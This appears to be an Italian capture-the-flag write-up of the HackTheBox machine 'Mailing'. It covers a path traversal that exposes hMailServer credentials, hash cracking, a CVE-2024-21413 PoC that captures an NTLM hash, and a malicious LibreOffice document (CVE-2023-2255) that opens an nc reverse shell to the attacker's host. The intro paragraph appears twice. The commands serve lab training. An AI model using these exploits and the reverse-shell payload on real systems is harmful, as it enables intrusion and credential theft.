
Se hai macinato macchine su HackTheBox, Mailing è una di quelle che ti insegna davvero qualcosa. È classificata come Facile, gira su Windows e combina alcune vulnerabilità reali: un directory traversal, una fuga di credenziali, CVE-2024-21413 e un exploit di macro di LibreOffice. Esaminiamola passo dopo passo.
Di Mursalin
Se hai macinato macchine HackTheBox, Mailing è una di quelle che ti insegna davvero qualcosa. È classificata come facile, funziona su Windows e combina alcune vulnerabilità reali: un directory traversal, un leak di credenziali, CVE-2024-21413 e un exploit tramite macro di LibreOffice. Percorriamola passo dopo passo.
Come sempre, iniziamo con una scansione nmap per vedere con cosa abbiamo a che fare:
nmap -p- --min-rate 10000 10.10.11.14
nmap -p [ports] -sCV 10.10.11.14
I risultati mostrano diverse porte aperte. I punti salienti:
mailing.htb)L'impronta digitale del sistema operativo corrisponde a Windows 10 o Server 2019, e la versione di IIS conferma che è almeno IIS 10. Noto anche che la firma dei messaggi SMB è abilitata ma non obbligatoria — da tenere a mente per dopo.
Le porte di posta sono sparse, ma richiederanno probabilmente credenziali. Il web server sulla porta 80 è il punto di partenza ovvio.
Dopo aver aggiunto mailing.htb a /etc/hosts, il sito sembra un'azienda di hosting email basata su hMailServer. Niente di appariscente in superficie — una sezione "about", una sezione "team" con tre nomi (Ruy Alonso, Maya Bendito, Gregory Smith) e un pulsante "Download Instructions".
Il pulsante di download punta a:
http://mailing.htb/download.php?file=instructions.pdf
Il parametro file= è immediatamente sospetto. Mettiamolo alla prova.
Ho eseguito ffuf per cercare sottodomini — niente di interessante. Poi feroxbuster per il brute forcing delle directory, anche lì niente di nuovo oltre a download.php. Quindi tutta l'attenzione va a quell'unico endpoint.
Testando il parametro file per path traversal:
curl http://mailing.htb/download.php?file=../../windows/system32/drivers/etc/hosts
E funziona — otteniamo il file hosts di Windows. L'app si limita a prependere un percorso base a quanto fornito e chiama file_get_contents(). Nessuna sanificazione, nessuna restrizione. Il codice sorgente di download.php lo conferma quando lo leggiamo direttamente:
$file_path = 'C:/wwwroot/instructions/' . $file;
if (file_exists($file_path)) {
echo file_get_contents($file_path);
}
Ora abbiamo lettura arbitraria di file su una macchina Windows. Usiamola.
hMailServer memorizza la sua configurazione in hMailServer.ini. Dopo una ricerca, il file si trova in:
C:\Program Files (x86)\hMailServer\Bin\hMailServer.ini
Lo leggiamo tramite il nostro traversal:
curl 'http://mailing.htb/download.php?file=../../Program+Files+(x86)/hMailServer/bin/hMailServer.ini'
L'output include:
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Password=0a9f8ad8bf896b501dde74f08efd7e4c
Due hash MD5. Li inserisco in CrackStation:
841bb5acfa6779ae432fd7a4e6600ba7 → homenetworkingadministratorQuindi abbiamo la password amministratore per hMailServer. Provarla su SMB come utente Windows administrator fallisce — non è una password dell'account locale, solo la password admin del servizio di posta. Ma funziona per autenticarsi al servizio SMTP, che è esattamente ciò di cui abbiamo bisogno.
Ora dobbiamo ottenere un punto d'appoggio come utente reale. Il sito menziona che il client di posta utilizzato è Windows Mail (basato sul PDF delle istruzioni di installazione). È ora di verificare vulnerabilità note.
CVE-2024-21413 è una vulnerabilità di esecuzione remota di codice in Microsoft Outlook e Windows Mail. Il difetto risiede in come i client gestiscono gli URL con protocollo file:// nel corpo delle email. Normalmente, vengono applicate restrizioni di sicurezza a diversi protocolli. Tuttavia, ricercatori hanno scoperto che se un URL termina con !qualcosa, tali restrizioni vengono silenziosamente rimosse. Quando un utente apre o anche solo visualizza in anteprima un'email con un tale link, il client tenta automaticamente di autenticarsi al server SMB dell'attaccante — fornendo un hash NetNTLMv2.
Esiste un PoC solido su GitHub di xaitax. Lo clono e lo eseguo con questi parametri:
python CVE-2024-21413.py \
--server mailing.htb \
--port 587 \
--username [email protected] \
--password homenetworkingadministrator \
--sender [email protected] \
--recipient [email protected] \
--url "\\10.10.14.6\share\sploit" \
--subject "Check this out ASAP!"
L'email viene inviata con successo. Nel frattempo, ho Responder in esecuzione sulla mia macchina attaccante per catturare l'autenticazione in arrivo:
sudo /opt/Responder/Responder.py -I tun0
Dopo circa un minuto, il client di Maya apre l'email e Responder cattura il suo hash NetNTLMv2. Lo decifro con hashcat:
hashcat -m 5600 maya_hash.txt /usr/share/wordlists/rockyou.txt
Password decifrata: m4y4ngs4ri
Con le credenziali di Maya, mi connetto usando Evil-WinRM:
evil-winrm -i mailing.htb -u maya -p 'm4y4ngs4ri'
Siamo dentro. La flag dell'utente si trova sul desktop di Maya.
È ora di cercare un percorso per diventare root. Esplorando il sistema, c'è una condivisione chiamata Important Documents e LibreOffice è installato. Questo è un forte indizio verso CVE-2023-2255.
CVE-2023-2255 colpisce le versioni di LibreOffice precedenti alla 7.4.7 e 7.5.3. Abusa dei "floating frames" — file esterni collegati all'interno di documenti .odt. La vulnerabilità fa sì che tali frame vengano caricati senza chiedere il permesso all'utente, e il contenuto può essere una macro che viene eseguita al caricamento del documento.
Il PoC di elweth-sec genera un .odt malevolo che incorpora un comando shell. La struttura del documento incorpora un tag <script> in content.xml che si attiva nel momento in cui LibreOffice apre il file.
Genero un payload di reverse shell:
python /opt/CVE-2023-2255/CVE-2023-2255.py \
--cmd 'cmd.exe /c C:\ProgramData\nc64.exe -e cmd.exe 10.10.14.6 443' \
--output exploit.odt
Poi carico sia il file .odt che nc64.exe nella condivisione SMB Important Documents usando le credenziali di Maya:
smbclient '//10.10.11.14/important documents' --user maya --password m4y4ngs4ri
smb: \> put exploit.odt
smb: \> put nc64.exe
Dalla shell WinRM di Maya, copio nc64.exe in C:\ProgramData in modo che la macro possa trovarlo:
copy "\Important Documents\nc64.exe" nc64.exe
Dopo un minuto o due, qualcosa sulla macchina apre il documento (probabilmente un'attività pianificata automatica), e ricevo una shell al mio listener netcat:
rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.14
Microsoft Windows [Version 10.0.19045.4355]
C:\Program Files\LibreOffice\program> whoami
mailing\localadmin
Siamo in esecuzione come localadmin — e la flag di root è sul Desktop.
La macchina è stata patchata il 15 maggio 2024 — solo 11 giorni dopo il rilascio — perché il download.php originale usava effettivamente include() di PHP invece di file_get_contents(). Ciò trasformava una semplice lettura file in una piena vulnerabilità di Local File Inclusion, il che significava che qualsiasi codice PHP in un file leggibile veniva eseguito.
Il percorso non intenzionale era avvelenare i log SMTP di hMailServer (connettendosi via telnet e iniettando PHP nel comando HELO), poi includere quel file di log tramite l'LFI per ottenere esecuzione di codice come defaultapppool. Da lì, SeImpersonatePrivilege + GodPotato = SYSTEM. Un percorso completamente diverso per diventare root.
La catena di attacco su Mailing è la seguente:
download.phphMailServer.ini → decifrare l'hash MD5 dell'adminQuesta macchina fa un ottimo lavoro nel combinare CVE reali in un modo che sembra credibile. I passaggi di sfruttamento non sono eccessivamente complessi, ma bisogna capire cosa si sta facendo in ogni fase. Sicuramente una macchina da rivisitare se ti stai preparando per l'OSCP.
Grazie per aver letto! Seguimi su Medium per altri writeup di HTB e contenuti CTF.
— Mursalin